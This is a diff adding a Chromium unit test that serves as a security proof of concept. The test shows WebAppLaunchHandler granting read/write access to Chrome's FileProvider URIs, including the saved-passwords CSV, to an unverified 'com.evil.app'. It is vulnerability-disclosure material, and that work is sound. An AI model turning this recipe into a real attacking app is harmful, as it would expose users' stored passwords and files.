diff --git a/chrome/android/junit/src/org/chromium/chrome/browser/customtabs/content/WebAppLaunchHandlerTest.java b/chrome/android/junit/src/org/chromium/chrome/browser/customtabs/content/WebAppLaunchHandlerTest.java --- a/chrome/android/junit/src/org/chromium/chrome/browser/customtabs/content/WebAppLaunchHandlerTest.java +++ b/chrome/android/junit/src/org/chromium/chrome/browser/customtabs/content/WebAppLaunchHandlerTest.java @@ -411,6 +411,80 @@ public class WebAppLaunchHandlerTest { eq(TEST_PACKAGE_NAME), eq(mFileHandlingData.uris.get(0)), anyInt()); } + // ------------------------------------------------------------------------ + // SECURITY POC: Confused-deputy grantUriPermission on attacker-supplied URIs + // + // This test demonstrates that WebAppLaunchHandler.launchNewIntent() will call + // Activity.grantUriPermission(, , READ|WRITE) + // for arbitrary URIs supplied by the attacker via EXTRA_FILE_HANDLING_DATA, without ANY + // validation that the URI authority belongs to the caller and without ANY Digital Asset + // Links verification having occurred. + // + // Preconditions modelled here match a real-world attack: + // - mCurrentPageVerifier.getState() returns null (no DAL verification has run yet -- + // this is the default state immediately after a TWA activity is created). + // - mVerifierMock.verify() returns false (the attacker app does NOT have a valid + // assetlinks.json relationship with the target origin). + // - clientMode = NAVIGATE_NEW (forces the launchNewIntent() branch unconditionally, + // so the CurrentPageVerifier state is never even consulted). + // - getClientPackageName() = "com.evil.app" (the Binder-verified attacker package -- + // this is correct and unspoofable, but it means Chrome grants the permission TO the + // attacker, which is exactly what the attacker wants). + // - getFileHandlingData() returns URIs pointing at Chrome's own ChromeFileProvider + // (extracted directly from the intent extras with no authority check). + // + // Expected (vulnerable) behaviour: the test PASSES, proving grantUriPermission() is + // invoked with READ|WRITE flags for each Chrome FileProvider URI, granting them to + // "com.evil.app". In a real device, the Android framework permits this grant because + // Chrome owns ChromeFileProvider and it declares android:grantUriPermissions="true". + // + // Expected (fixed) behaviour: grantUriPermission() should NOT be called for URIs whose + // authority is one of Chrome's own providers, OR no grant should occur until DAL + // verification has succeeded. + // ------------------------------------------------------------------------ + @Test + public void poc_confusedDeputy_grantsChromeFileProviderToUnverifiedAttacker() { + final String attackerPkg = "com.evil.app"; + final String chromeFpAuthority = "com.android.chrome.FileProvider"; + + // file_paths.xml exposes: passwords/, cache/ (=net-export/), pdfs/, webapk/, offline-cache/ + final Uri pwCsv = Uri.parse("content://" + chromeFpAuthority + "/passwords/Chrome%20Passwords.csv"); + final Uri netLog = Uri.parse("content://" + chromeFpAuthority + "/cache/chrome-net-export-log.json"); + final Uri webapk = Uri.parse("content://" + chromeFpAuthority + "/webapk/planted.apk"); + + // Attacker's app has NO Digital Asset Links relationship -> verification would FAIL. + // But it doesn't matter: NAVIGATE_NEW takes the launchNewIntent() branch before any + // verification is consulted (WebAppLaunchHandler.java:191-194). + when(mVerifierMock.verify(any())).thenReturn(Promise.fulfilled(false)); + when(mCurrentPageVerifierMock.getState()).thenReturn(null); + + // The intent data provider is built from the second (malicious) intent. Everything + // here is attacker-controlled except getClientPackageName(), which is Binder-verified + // (and therefore correctly returns the attacker's own package name -- exactly what + // the attacker wants the grant target to be). + CustomTabIntentDataProvider dataProvider = mock(CustomTabIntentDataProvider.class); + when(dataProvider.getLaunchHandlerClientMode()) + .thenReturn(LaunchHandlerClientMode.NAVIGATE_NEW); + when(dataProvider.getUrlToLoad()).thenReturn("https://example.com/x"); + when(dataProvider.getClientPackageName()).thenReturn(attackerPkg); + when(dataProvider.getFileHandlingData()) + .thenReturn(new FileHandlingData(Arrays.asList(pwCsv, netLog, webapk))); + + WebAppLaunchHandler handler = createWebAppLaunchHandler(); + handler.handleNewIntent(dataProvider); + shadowOf(Looper.getMainLooper()).idle(); + + // VULNERABILITY: Chrome grants its own FileProvider URIs to the attacker, READ+WRITE. + final int rw = Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION; + verify(mActivityMock).grantUriPermission(eq(attackerPkg), eq(pwCsv), eq(rw)); + verify(mActivityMock).grantUriPermission(eq(attackerPkg), eq(netLog), eq(rw)); + verify(mActivityMock).grantUriPermission(eq(attackerPkg), eq(webapk), eq(rw)); + + // The verifier was never consulted on this branch. + verify(mVerifierMock, times(0)).verify(any()); + } + // ------------------------------------------------------------------------ + /* * A verification of a target url is asynchronous. So it's possible the url loading finishes * before verification. If so we need to send a launchParams to launchQueue with the filed